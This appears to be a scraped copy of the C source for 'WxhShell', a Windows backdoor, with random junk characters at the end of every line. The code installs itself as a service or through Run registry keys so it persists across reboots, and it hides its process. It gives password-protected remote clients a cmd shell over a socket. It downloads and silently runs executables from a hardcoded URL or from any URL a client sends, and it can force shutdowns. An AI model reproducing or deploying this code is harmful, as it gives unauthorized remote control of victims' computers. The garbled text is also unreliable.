    } _"nzo4e0  
  // 关机 3(?V!y{@  
  case 'd': { S)`%clN}J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \0bao<  
    if(Boot(SHUTDOWN)) I$yFCdXr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L TsX{z  
    else { #GoZH?MAF  
    closesocket(wsh);  C=k]g  
    ExitThread(0); s0EF{2<F  
    } (^),G-]  
    break;  S(* u_  
    } YF)uAJAk  
  // 获取shell barY13)$U  
  case 's': { )I&,kH)+  
    CmdShell(wsh); jg)+]r/hS  
    closesocket(wsh); 5B:% ##Ug5  
    ExitThread(0); irZMgRQAT  
    break; 7\;4 d4u  
  } $G UCVxs  
  // 退出 /J@<e{&t~  
  case 'x': { 8rV"? m`S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yzH(\ x  
    CloseIt(wsh); ;,WI_iP(w  
    break; `#g62wb,HY  
    } tZL|;K  
  // 离开 V7S[rI<<r  
  case 'q': { `<#Ufi*c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +hZ{/  
    closesocket(wsh); g6D7Y<}d  
    WSACleanup(); uUIjntSF(  
    exit(1); c*!xdK  
    break; #{8t ?v l  
        } N9S?c  
  } [<nmJ-V  
  } (ah^</  
8V?*Bz-4`  
  // 提示信息 C#l9MxZE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eaWK2%v  
} `Q1;Y  
  } #qcF2&a%  
dxa[9>V  
  return; /EvnwYQy  
} l0&U7gr  
IW>\\&pJ  
// shell模块句柄 8ioxb`U  
int CmdShell(SOCKET sock) Hw\hTTK  
{ (>,}C/-UG  
STARTUPINFO si; O<\h_   
ZeroMemory(&si,sizeof(si)); Ly~s84k_po  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cT.8&EEW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IxU#x*  
PROCESS_INFORMATION ProcessInfo; L?&Trq7i  
char cmdline[]="cmd"; Z,QSbw@,7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %;ZDw@_<  
  return 0; gyT3[*eh  
} lHc|: vG?  
X-']D_f|,  
// 自身启动模式 +\GuZ5`  
int StartFromService(void) ']^_W0?=  
{ .t9*wz  
typedef struct TjWMdoU$J  
{ +01bjM6F_1  
  DWORD ExitStatus; knABlU  
  DWORD PebBaseAddress; 5M= S7B3=  
  DWORD AffinityMask; aUyJi  
  DWORD BasePriority; *USzzLq  
  ULONG UniqueProcessId; XJguw/[wm  
  ULONG InheritedFromUniqueProcessId; +rOfQ'lQ  
}   PROCESS_BASIC_INFORMATION; WW3! ,ln_  
o%3VE8-  
PROCNTQSIP NtQueryInformationProcess; j\%m6\{n|  
=|O><O|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "tUc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " o>` Y  
7 : .bqRu  
  HANDLE             hProcess; eCy]ugsi%  
  PROCESS_BASIC_INFORMATION pbi; Bc1MKE5  
zz[[9Am!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9oA-Swc[  
  if(NULL == hInst ) return 0; ;yDXo\gm  
2O+fjs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y}hz UKJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hB1Gtc4n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <xaB$}R  
,&aD U  
  if (!NtQueryInformationProcess) return 0; VCCG_K9'  
yiAusl;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zoyo:vv&  
  if(!hProcess) return 0; jx-8%dxtZ  
N,?D<NjXl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dY$jg  
- * _"ZgE  
  CloseHandle(hProcess); /e50&]2w  
Jo9!:2?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jKhj 7dR  
if(hProcess==NULL) return 0; EC f $  
i= s>a;*#  
HMODULE hMod; JNSH'9!n6  
char procName[255]; 1+NmiGKg  
unsigned long cbNeeded; aj6{  
od`:w[2\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (IIOVv 1J  
2@+ MT z  
  CloseHandle(hProcess); %q5iy0~P  
5%%A2FrB.S  
if(strstr(procName,"services")) return 1; // 以服务启动 OJ4-p&1  
5c+7c@.  
  return 0; // 注册表启动 t.]c44RY  
} r/B iR0$E  
>a5avSn  
// 主模块 K0\Wty0  
int StartWxhshell(LPSTR lpCmdLine) o](nK5?  
{ i \u"+:j  
  SOCKET wsl; ^`Qh*:T$  
BOOL val=TRUE; &xjeZh4-  
  int port=0; &Vi0.o  
  struct sockaddr_in door; sAKQ.8$h*  
}hX"A!0  
  if(wscfg.ws_autoins) Install(); G8ksm2}  
wA>bLPTw  
port=atoi(lpCmdLine); aFrVP  
xrky5[XoD  
if(port<=0) port=wscfg.ws_port; 2z=GKV  
 zFk@Y  
  WSADATA data; :fE*fU@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `<kV)d%xEF  
MB] Y|Vee  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    {r?qI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^_^rI+cTX1  
  door.sin_family = AF_INET; "yV)&4 )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $N`uM  
  door.sin_port = htons(port); ?FRQ!R  
fl18x;^I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u#m(Py  
closesocket(wsl); )#n>))   
return 1; ?G>#'T[  
} M[ZuXH}  
mca9 +v  
  if(listen(wsl,2) == INVALID_SOCKET) { jw!QjVuRN%  
closesocket(wsl); BA+:}81&<q  
return 1; ,9;d"ce  
} -?AaRwZ,  
  Wxhshell(wsl); *cn#W]AE  
  WSACleanup(); v^_<K4N`  
5cE!'3Y  
return 0; )iG+pP@.@  
K\GIh8L  
} 5"JnJH  
x uDn:  
// 以NT服务方式启动 e`Z3{H}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YJ{d\j  
{ wOp# mT  
DWORD   status = 0; .DkDMg1US  
  DWORD   specificError = 0xfffffff; L5*,l`lET  
"yCek  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A*:(%!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UW[{Y|oE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +/Lf4??JV  
  serviceStatus.dwWin32ExitCode     = 0; fKY1=3  
  serviceStatus.dwServiceSpecificExitCode = 0; ~-w  
  serviceStatus.dwCheckPoint       = 0; <#9zc'ED:  
  serviceStatus.dwWaitHint       = 0; /@bLc1"  
~Zd n#z\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r,4V SyZF\  
  if (hServiceStatusHandle==0) return; 9/k?Lv  
(dC<N3  
status = GetLastError(); &sx|sLw)  
  if (status!=NO_ERROR) |k4ZTr]?  
{ q61 rNOw_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =w.#j-jR  
    serviceStatus.dwCheckPoint       = 0; g loo].z  
    serviceStatus.dwWaitHint       = 0; h;KI2k_^  
    serviceStatus.dwWin32ExitCode     = status; {&c%VVZb:Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~;;_POm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:a$ U:  
    return; wzMWuA4vX  
  } Y e}y_W  
n~d`PGs?f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; */L;6_  
  serviceStatus.dwCheckPoint       = 0; NW9k.D%  
  serviceStatus.dwWaitHint       = 0; e-o s0F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1*x4T%RF$  
} +Hb6j02#  
G\H@lFh  
// 处理NT服务事件,比如:启动、停止 wz!]]EQ!o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9CWUhS   
{ 'ej{B0rE  
switch(fdwControl) Sg<''pUh  
{ [<sBnHbvQ.  
case SERVICE_CONTROL_STOP: ++13m*fA  
  serviceStatus.dwWin32ExitCode = 0; 6iFd[<.*j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b['TRYc=:  
  serviceStatus.dwCheckPoint   = 0; ):+H`Hcm  
  serviceStatus.dwWaitHint     = 0; {Pg7IYjH  
  { V]PTAhc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $XI5fa4Tt  
  } pKMf#)qm  
  return; 7@vc Qv kC  
case SERVICE_CONTROL_PAUSE: *k'9 %'<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ec QVk  
  break; r\[HR ^`  
case SERVICE_CONTROL_CONTINUE: )M]4p6Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zoOm[X=?3  
  break; ?XGZp?6  
case SERVICE_CONTROL_INTERROGATE: %p2C5z?  
  break;  aG\m 3r  
}; va;d[D,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `>8|  
} n37( sKG  
(U`7[F  
// 标准应用程序主函数 X5U!25d]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M14_w,  
{ nL+*Ja  
}M|  
// 获取操作系统版本 ;lAz@jr+  
OsIsNt=GetOsVer(); u3,b,p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fD\h5`-  
 df 1* [  
  // 从命令行安装 u(ZS sftat  
  if(strpbrk(lpCmdLine,"iI")) Install(); XpH[SRUx  
de1&  
  // 下载执行文件 8`VMdo9  
if(wscfg.ws_downexe) { nfDPM\FFD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >M:5yk@  
  WinExec(wscfg.ws_filenam,SW_HIDE); w.l#Z} k  
} G)43Y!  
Ca BTqo  
if(!OsIsNt) { &9s6p6 eb  
// 如果时win9x,隐藏进程并且设置为注册表启动 DO03vN  
HideProc(); 2z[Pw0#V  
StartWxhshell(lpCmdLine); o JA58/  
} $LRFG(  
else :` ~b&Oz)  
  if(StartFromService()) ;5Sr<W\:;  
  // 以服务方式启动 5Ij_$a  
  StartServiceCtrlDispatcher(DispatchTable); *=/XlSWF  
else V7[qf "  
  // 普通方式启动 (Z,,H1L  
  StartWxhshell(lpCmdLine); F'j:\F6C;  
)edM@beY_  
return 0; Z=F=@<!  
} Wt3\&.n  
6!"15dPN  
NM8 F  
Z@ws,f^e  
=========================================== v8%]^` '  
e#'`I^8l  
KFV]2mFN  
wqGZkFg1  
u8 <=FV3  
x:2[E-  
" iqoPD4A  
tIr66'8  
#include <stdio.h> d,QJf\fc"  
#include <string.h> VS).!;>z  
#include <windows.h> A:NY:#uC  
#include <winsock2.h> 56bB~ =c  
#include <winsvc.h> tcX7Ua(I`  
#include <urlmon.h> zIo))L  
mtOrb9` m  
#pragma comment (lib, "Ws2_32.lib") nlY ^  
#pragma comment (lib, "urlmon.lib") THu a?,oyW  
u%h<5WNh<  
#define MAX_USER   100 // 最大客户端连接数 }dXL= ul  
#define BUF_SOCK   200 // sock buffer z{n=G  
#define KEY_BUFF   255 // 输入 buffer r\Nn WS J  
J5o"JRJ"  
#define REBOOT     0   // 重启 by06!-P0[  
#define SHUTDOWN   1   // 关机 _&z>Id`w  
sJ?kp^!g  
#define DEF_PORT   5000 // 监听端口 W"Rii]GK"  
Zwt!nh   
#define REG_LEN     16   // 注册表键长度 8% |x)  
#define SVC_LEN     80   // NT服务名长度 'QV 4 =h`  
~0}eNz*  
// 从dll定义API %d7iQZb>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WWe.1A,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c"z%AzUV'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~clWG-i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =[k9{cVW  
#YNb&K n  
// wxhshell配置信息 -Qgfo|po  
struct WSCFG { hW},%  
  int ws_port;         // 监听端口 /d=$,q1  
  char ws_passstr[REG_LEN]; // 口令 3|?fGT;P  
  int ws_autoins;       // 安装标记, 1=yes 0=no *m"mt  
  char ws_regname[REG_LEN]; // 注册表键名 4YCGh  
  char ws_svcname[REG_LEN]; // 服务名 ?eO|s5r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 82=][9d #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Jd:%+T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 08` @u4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @E)XT\;3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^$L/Mv+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W[?B@sdSZ  
)5t_tPv  
}; Qpc{7#bp  
xl9l>k6,  
// default Wxhshell configuration lxd<^R3i#^  
struct WSCFG wscfg={DEF_PORT, dg!sRm1iZ:  
    "xuhuanlingzhe", +\ySx^vi  
    1, bCrB'&^t  
    "Wxhshell", 2<O8=I _  
    "Wxhshell", f6"j-IW[z  
            "WxhShell Service", us cR/d  
    "Wrsky Windows CmdShell Service", ES~]rPVS  
    "Please Input Your Password: ", }n=NHHtJ  
  1, bk?\=4B:E  
  "http://www.wrsky.com/wxhshell.exe", y,x~S\>+  
  "Wxhshell.exe" ) )F.|w  
    }; Kaa*;T![  
=,'Z6?%p  
// 消息定义模块 gMvvDP!Wp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9j"\Lr*o "  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z~|J"2.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QEgv,J{  
char *msg_ws_ext="\n\rExit."; 9N29dp>g{{  
char *msg_ws_end="\n\rQuit.";  ;E&XFTdO  
char *msg_ws_boot="\n\rReboot..."; 3q>"#+R.t  
char *msg_ws_poff="\n\rShutdown..."; yR!>80$j  
char *msg_ws_down="\n\rSave to "; ; M(}fV]  
[Ok8l='  
char *msg_ws_err="\n\rErr!"; 'KL(A-}!  
char *msg_ws_ok="\n\rOK!"; \\qg2yI  
?*@h]4+k'  
char ExeFile[MAX_PATH]; dF,FH-  
int nUser = 0; \f  LBw0  
HANDLE handles[MAX_USER]; C;5}/J^E  
int OsIsNt; 1fy{@j(W  
UE4#j \  
SERVICE_STATUS       serviceStatus; pUr[MnQLf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7" [;M  
ts]7 + 6V  
// 函数声明 x\DkS,O  
int Install(void); ' 7A7HDJ  
int Uninstall(void); _#O?g=1  
int DownloadFile(char *sURL, SOCKET wsh); >+#[O"  
int Boot(int flag); JW\"S  
void HideProc(void); +Xp;T`,v  
int GetOsVer(void);  {5udol5?  
int Wxhshell(SOCKET wsl); jveRiW@  
void TalkWithClient(void *cs); ~roHnJ>  
int CmdShell(SOCKET sock); k +Oq$Pi  
int StartFromService(void); {dwV-qz  
int StartWxhshell(LPSTR lpCmdLine); a}K+w7VY\  
l)8V:MK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -?RQ%Ue  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s]iOC6v  
[UH5D~Yx  
// 数据结构和表定义 ,ln uu  
SERVICE_TABLE_ENTRY DispatchTable[] = CA4-&O"  
{ o^?{j*)g  
{wscfg.ws_svcname, NTServiceMain}, WI6E3,ejB1  
{NULL, NULL} *ls6#j@  
}; bwJi[xF  
n@Ag`}  
// 自我安装 eFQi K6`i  
int Install(void) 4L e5Ms/  
{ Z|c9%.,  
  char svExeFile[MAX_PATH]; yLx.*I^6  
  HKEY key; [ q&J"dt  
  strcpy(svExeFile,ExeFile); q,DX{:  
dX*>?a  
// 如果是win9x系统,修改注册表设为自启动 LXLDu2/@  
if(!OsIsNt) { 2YKM9Ks  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SDIeq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4AYc 8Z#'  
  RegCloseKey(key); 9pcf jx..  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d_+8=nh3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C]fTV{  
  RegCloseKey(key); )^N8L<   
  return 0; E/ZJ\@gzD  
    } /wE_eK.  
  } }|Tg_+   
} _6!/}Fm  
else { aS vE  
shT[|@"C  
// 如果是NT以上系统,安装为系统服务 >@U<?wP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <o+ 7U  
if (schSCManager!=0) 0JNOFX  
{ )VMBo6:+  
  SC_HANDLE schService = CreateService lM,zTNu-z  
  ( %g&,]=W\N  
  schSCManager, u;Eu<jU1  
  wscfg.ws_svcname, prN(V1O  
  wscfg.ws_svcdisp, U.U.\   
  SERVICE_ALL_ACCESS, EcoUpiL%2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^P/D8cXa4  
  SERVICE_AUTO_START, ?(q*U!=  
  SERVICE_ERROR_NORMAL, rx>Tc#g  
  svExeFile, 49oW 'j  
  NULL, 0>=)  
  NULL, #2jn4>  
  NULL, *\KMkx  
  NULL, Hi_Al,j:  
  NULL RYl3txw  
  ); _[i=TqVmf  
  if (schService!=0) !rg0U<bO!  
  { @>2rz  
  CloseServiceHandle(schService); _c8.muQ<  
  CloseServiceHandle(schSCManager); 82za4u$q#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3:joSQa  
  strcat(svExeFile,wscfg.ws_svcname); )8 :RiG2B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xH_ie  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u)`|q_y+8  
  RegCloseKey(key); x7Rq|NQ  
  return 0; Q *]`t@ q  
    } ^HFU@/  
  } 9c{%m4  
  CloseServiceHandle(schSCManager); &8+6!TN7  
} v^W?o}W  
} IIQ3|eZ  
v* ~%x  
return 1; CY3\:D0I  
} NzAtdcwR  
mK40 f  
// 自我卸载 ^lai!uZVa  
int Uninstall(void) LnTe_Q7_  
{ @MZ6E$I  
  HKEY key; x;FO|fH  
mnQjX ?  
if(!OsIsNt) { 2${,%8"0s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xrVZxK:!  
  RegDeleteValue(key,wscfg.ws_regname); S~rVRC"<xo  
  RegCloseKey(key); aC yb-P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V,XP&,no\j  
  RegDeleteValue(key,wscfg.ws_regname); Z#Zzi5<  
  RegCloseKey(key); 4zqE?$HM'  
  return 0; )SL@ >Cij  
  } _RaVnMJKX4  
} tw4am.o1]  
} }'V'Y[  
else { |g\.5IM#W  
#~URLN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ro&Y7m  
if (schSCManager!=0) 9hR:y.  
{ K~Au?\{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r,.95@  
  if (schService!=0) J;=aIiN]R  
  { ?X_0Iy}1  
  if(DeleteService(schService)!=0) { )_ b@~fC  
  CloseServiceHandle(schService); '5xuT _  
  CloseServiceHandle(schSCManager); Ec*--]j*c  
  return 0; $qlqW y-s  
  } <Xs @ \  
  CloseServiceHandle(schService); ?%dCU~ z  
  } bpF@}#fT  
  CloseServiceHandle(schSCManager); ( #-=y~%  
} /[|}rqX(  
} <[3lV)~t  
UQ$\ an'  
return 1; ;%rs{XO9  
} TFJ{fLG  
oj^5G ]_ <  
// 从指定url下载文件 >OKS/(I0  
int DownloadFile(char *sURL, SOCKET wsh) krr-ZiK  
{ @8M'<tr<z  
  HRESULT hr; p~, 3A:i  
char seps[]= "/";  zfjDb  
char *token; 1RI#kti-"  
char *file; o^_W$4Fc  
char myURL[MAX_PATH]; 4lY&=_K[)  
char myFILE[MAX_PATH]; 3d#9Wyxs  
U= c5zrs  
strcpy(myURL,sURL); ^b"x|8  
  token=strtok(myURL,seps); OP|.I._I  
  while(token!=NULL) vbWJhj K0h  
  { o]|oAN9  
    file=token; lrmt)BLoh  
  token=strtok(NULL,seps); f>s#Ngvc  
  } 2w x[D  
~b>nCP8q  
GetCurrentDirectory(MAX_PATH,myFILE); ;Z!~A"~$>  
strcat(myFILE, "\\"); 5&n988g C8  
strcat(myFILE, file); NWQPOq#  
  send(wsh,myFILE,strlen(myFILE),0); p-T~x$"c|  
send(wsh,"...",3,0); 2[8fFo>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uFrJ:l+  
  if(hr==S_OK) M5T=Fj86  
return 0; U9@t?j_#X{  
else Lem\UD$D`  
return 1; (:&&;]sI  
(b`4&sQ<  
} |i} +t  
 \]f5  
// 系统电源模块 mJGO)u&  
int Boot(int flag) >%n8W>^^4  
{ -~( 0O  
  HANDLE hToken; gfdPx:7^  
  TOKEN_PRIVILEGES tkp; 7E!";HT  
[Q7->Wo|S:  
  if(OsIsNt) { k lP{yxU'n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xI`Uk8-8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rnMG0  
    tkp.PrivilegeCount = 1; %S >xSqX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ bXVg3oDt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k\mXo-:V6  
if(flag==REBOOT) { xP{HjONu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *c~'0|r  
  return 0; KD,^*FkkL  
} AMh37Xo  
else { G_2gKkIK-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DGa#d_I  
  return 0; ~J:$gu~`  
} <?> I\  
  } ny!lj a5[  
  else { SQdz EF  
if(flag==REBOOT) { z`86-Ov  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X \b}jo^96  
  return 0; a<57(Sf  
} @MN}^umx`  
else { ;e#>n!<u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {~j /XB  
  return 0; aWHd}%  
} 2p$n*|T&c  
} \yJZvhUk  
@7Q*h   
return 1; RMS.1:O  
} 3JlC/v#0  
T=eT^?v  
// win9x进程隐藏模块 ?VMi!-POE  
void HideProc(void) G zJ9N`  
{ {+@ms$z  
QmWC2$b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /32Ta  
  if ( hKernel != NULL ) '|YtNhWZ?  
  { K:>NGGY8r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L<f-Ed9|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tl{]gz  
    FreeLibrary(hKernel); ql!5m\  
  } p/ziFpU  
Ek"YM[  
return; \S=XIf  
} |uQn|"U4  
qO:U]\P  
// 获取操作系统版本 {Ior.(D>Y  
int GetOsVer(void) ~&wXXVK3  
{ E@5zd@[  
  OSVERSIONINFO winfo; o :.~X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [5]R?bQ0q{  
  GetVersionEx(&winfo); th.M.jas  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >%iu!H"  
  return 1; %-@'CNP  
  else L"""\5Bn(  
  return 0; $Qn& jI38  
} 9O),/SH;:  
g>6:CG"  
// 客户端句柄模块 kbfuvJ>  
int Wxhshell(SOCKET wsl) [b7it2`dl  
{ B]'e$uyL7  
  SOCKET wsh; Tjd&^m  
  struct sockaddr_in client; KcIc'G 9  
  DWORD myID; T5 K-gz7A  
K%Usjezv&  
  while(nUser<MAX_USER) t!6\7Vm/  
{ + 6x"trC  
  int nSize=sizeof(client); GAg.p?Sq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ox(*  
  if(wsh==INVALID_SOCKET) return 1; 2. StG(Y!  
WafdE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q;XXgX#l  
if(handles[nUser]==0) 3mpP| b"  
  closesocket(wsh); { M`  
else L\QQjI{  
  nUser++; qJ\X~5{  
  } Z 7`5x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8pX f T%]  
Sp<hai  
  return 0; 1P5*wNF  
} ~GNyE*t/Y  
GYFgEg}  
// 关闭 socket mcvDxjk,h  
void CloseIt(SOCKET wsh) PfVEv *  
{ ^OHZ767v  
closesocket(wsh); 'jh2**i 34  
nUser--; zSEr4^Dk4  
ExitThread(0); V8-4>H}Cb/  
} YH6snC$u  
H"2U)HJl  
// 客户端请求句柄 Q<z)q<e  
void TalkWithClient(void *cs) * zd.  
{ a^@+%?X  
5?^]1P_  
  SOCKET wsh=(SOCKET)cs; 0w^jls  
  char pwd[SVC_LEN]; I|$'Q$m~  
  char cmd[KEY_BUFF]; V %i<;C  
char chr[1]; Zk wJ.SuU  
int i,j; B#J{F  
$`E4m8fX  
  while (nUser < MAX_USER) { V78Mq:7d  
YavfjS:2  
if(wscfg.ws_passstr) { ri_P;#lz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8&i;hZm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gs$3)t  
  //ZeroMemory(pwd,KEY_BUFF); kBrvl^D{5  
      i=0; `2pO5B50  
  while(i<SVC_LEN) { jeY4yM  
J09*v )L  
  // 设置超时 w(aUEWYL  
  fd_set FdRead; 4+)Z k$E  
  struct timeval TimeOut; ymHKcQ  
  FD_ZERO(&FdRead); fwRGT|":B  
  FD_SET(wsh,&FdRead); 0rV/qMo;K  
  TimeOut.tv_sec=8; 2q+la|1Cr  
  TimeOut.tv_usec=0; DKR<W.!*t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OdO{xG G@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4"LPJX)Q  
baqn7k"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7^HpVcSM  
  pwd=chr[0]; "_t4F4z  
  if(chr[0]==0xd || chr[0]==0xa) { X8 8F>1}  
  pwd=0; 8a7YHUL<3i  
  break; QT_Srw@  
  } L+_8QK<  
  i++; wbBE@RU>!  
    } C2NzP& FD  
{>S4 #^@}  
  // 如果是非法用户,关闭 socket SzRL}}I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2%bhW,?I  
} '=$TyiU  
MdLj,1_T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R j-jAH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m^ z,,t9  
 /; +oz  
while(1) { 5Lw{0uLr  
0"hiCGm'  
  ZeroMemory(cmd,KEY_BUFF); Ec+22X  
?.8<-  
      // 自动支持客户端 telnet标准   61G|?Aax  
  j=0; Tu==49  
  while(j<KEY_BUFF) { @sN^BX`z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !!9{U%s  
  cmd[j]=chr[0]; .-J`d=Krp  
  if(chr[0]==0xa || chr[0]==0xd) {  j|ozGO  
  cmd[j]=0; [;<<4k(nL  
  break; wI*Y{J  
  } hX&-/fF+f  
  j++; #0(fOHPQ  
    } <8$Md4r  
Vfb<o"BQk  
  // 下载文件 @?m+Z"o|z  
  if(strstr(cmd,"http://")) { `nKJR'QC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >;m{{nj  
  if(DownloadFile(cmd,wsh)) OqtQA#uL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )q^(T1  
  else 0Qt~K#mr/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ac J>$L)  
  } TWtC-wI;  
